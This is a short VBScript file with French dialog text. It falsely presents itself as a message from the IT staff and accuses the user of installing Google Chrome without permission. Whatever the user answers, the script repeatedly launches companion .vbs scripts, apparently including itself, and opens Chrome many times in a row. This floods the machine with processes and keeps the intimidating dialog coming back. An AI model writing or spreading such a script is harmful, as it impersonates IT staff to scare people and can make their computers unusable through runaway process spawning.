46 lines
No EOL
2.5 KiB
Text
Executable file
46 lines
No EOL
2.5 KiB
Text
Executable file
result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens")
|
|
|
|
Select Case result
|
|
Case vbNo
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\googleplus.vbs"
|
|
|
|
Case vbYes
|
|
MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "google.vbs"
|
|
|
|
End Select |